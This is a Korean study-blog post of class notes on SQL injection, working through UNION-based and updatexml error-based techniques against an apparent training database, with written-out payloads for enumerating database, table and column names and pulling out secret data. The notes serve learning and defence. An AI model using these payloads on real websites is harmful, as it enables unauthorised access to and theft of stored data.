4주차 수업

Peroro·2023년 4월 20일
0
post-custom-banner

SQL Injeciton: 공격자가 SQL문을 삽입하는 공격

- 종류

(1)SQL 질의문이 화면에 보이는 곳

ex) 게시판 쿼리문을 통해서 질의를 하고 응답을 받음. 회원정보(마이페이지)
주소 검색, 검색 페이지 ... 등등

(2)SQL 질의문이 화면에 안나오는 곳

ex) 로그인, 아이디 중복 체크
  • 위의 상황들에 따라 접근하는 전략이 달라짐.

1)SQL 질의문이 화면에 보이는 곳

  • UNION을 사용!
SQL Injection (select ~~~) UNION (select ~~~~~)
  • 앞에 있는 select 문과 뒤에 있는 select 문의 컬럼의 수가 같아야 함.
  • select id, pass from member union select id, title from table

SQL Injection 과정

1. 서버 어떤 SQL 질의문 사용하는지 추측.

select ???? from  ????? where name like '%@@@%'

2. 취약점 확인

and 1=1

watch%' and '1%' = '1

select ???? from  ????? where name like '%watch%' and '1%' = '1%'
#의 경우 마지막에 쓸 것!

3. 데이터가 보이는 경우 Union으로 접근: order by

  • order by : 정렬 구문
  • SELECT id, pass order by [컬럼 이름] desc; 컬럼 이름을 1,2,3,4로 인덱스로 사용가능함.
  • SELECT id, pass order by 3 desc; -> syntax error
  • SELECT id, pass order by 2 desc;

watch%' order by 5# 
오류 나는 것을 보아 차수가 4임을 알 수 있다.

4. data 출력 위치 파악

select ???? from  ????? where name like '%@@@%'

@@@ = watch%' union select '1', '2', '3', '4
select ???? from  ????? where name
like '%watch%' union select '1', '2', '3', '4%'

  • 2, 3, 4만이 출력되는 것을 알 수 있다.

5. database 이름 확인

Select database()

@@@ = watch%' union select '1', database(), '3', '4
select ???? from  ????? where name like '%watch%' union select '1', database(), '3', '4%'

  • db마다 database 이름을 출력하는 명령어가 다름.

6. 테이블 이름

  • informaton_schema.tables
select table_name from information_schema.tables
where table_schema = 'segfault_sql'

@@@ = watch%' union select '1',  table_name, '3', '4' from information_schema.tables where table_schema = 'segfault_sql' #
select ???? from  ????? where name like '%watch%'
union select '1',  table_name, '3', '4' 
from information_schema.tables 
where table_schema = 'segfault_sql'#

7. 컬럼 이름

  • information_schema.columns의 column_name 컬럼
select [컬럼이름] from [테이블 이름]
Select column_name from information_schema.colums 
where table_name='secret'

@@@ = watch%' union select '1', column_name, '3', '4' 
from  information_schema.columns 
where table_name='secret'#
select ???? from  ????? where name like '%watch%' 
union select '1', column_name, '3', '4' 
from  information_schema.columns 
where table_name='secret'#

8. data 추출

select secret from secret
@@@ = watch%' union select '1', secret, '3' ,'4' from secret
select ???? from  ????? where name like '%watch%' 
union select '1', secret, '3' ,'4' from secret

(2)SQL 질의문이 화면에 안나오는 곳

  • Error 메시지가 화면에 출력될때, DB error 메시지를 이용함

  • MYSQL을 사용하는 DB임을 알 수 있다.
  • nor at line 1을 통해 해당 입력으로 인해 오류가 났음을 알 수 있다.
  • sql 풀버전이 나옴
  • query문을 뱉을 때도 있음.

1. 추측

select ??? from ????? where id = '_____' // like와 %를 사용하지 않음.

2. DB 에러인지 확인

-> 어떻게 하더라?

3. errror based SQL Injection Function

  • 문법 에러(입구컷)
  • 논리 에러; 논리에러가 중요함.우리가 원하는 쿼리문을 실행하는 것이 목표이므로 논리 에러가 중요함. -> 문법은 맞아야 함.
 1' and (내가 넣고 싶은 질문) and '1' = '1
  • updatexml frame
1' and updatexml(null, concat(0x3a, 'test'), null) and '1' = '1

  • concat(0x3a, 'test') = ':test'
  • 0x3a(:)
  • update(null, :test, null)
  • test에 우리가 원하는 질의문을 넣음.

4. DB 이름을 구하자

1' and updatexml(null, concat(0x3a, (select database())), null) and '1' = '1

  • Select database()

5. 테이블 이름을 구하자!

select table_name from information_schema.tables
where table_schema = 'segfault_sql'
1' and updatexml(null, concat(0x3a, (select table_name 
from information_schema.tables
where table_schema = 'segfault_sql')), null) 
and '1' = '1

  • limit 을 사용해야 함.
  • limit 0,1; // 0에서부터 1개라는 뜻.
1' and updatexml(null, concat(0x3a, (select table_name 
from information_schema.tables
where table_schema = 'segfault_sql' limit 0,1)), null) 
and '1' = '1

(7) data 추출.

  • 이후엔 Select column명 from table명으로 접근하면 된다.

오늘의 팁

  • 무턱대고 시작하지 말고, frame을 먼저 만든다.
  • frame을 통해 코드로 짜고 자동화가 가능해진다.
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글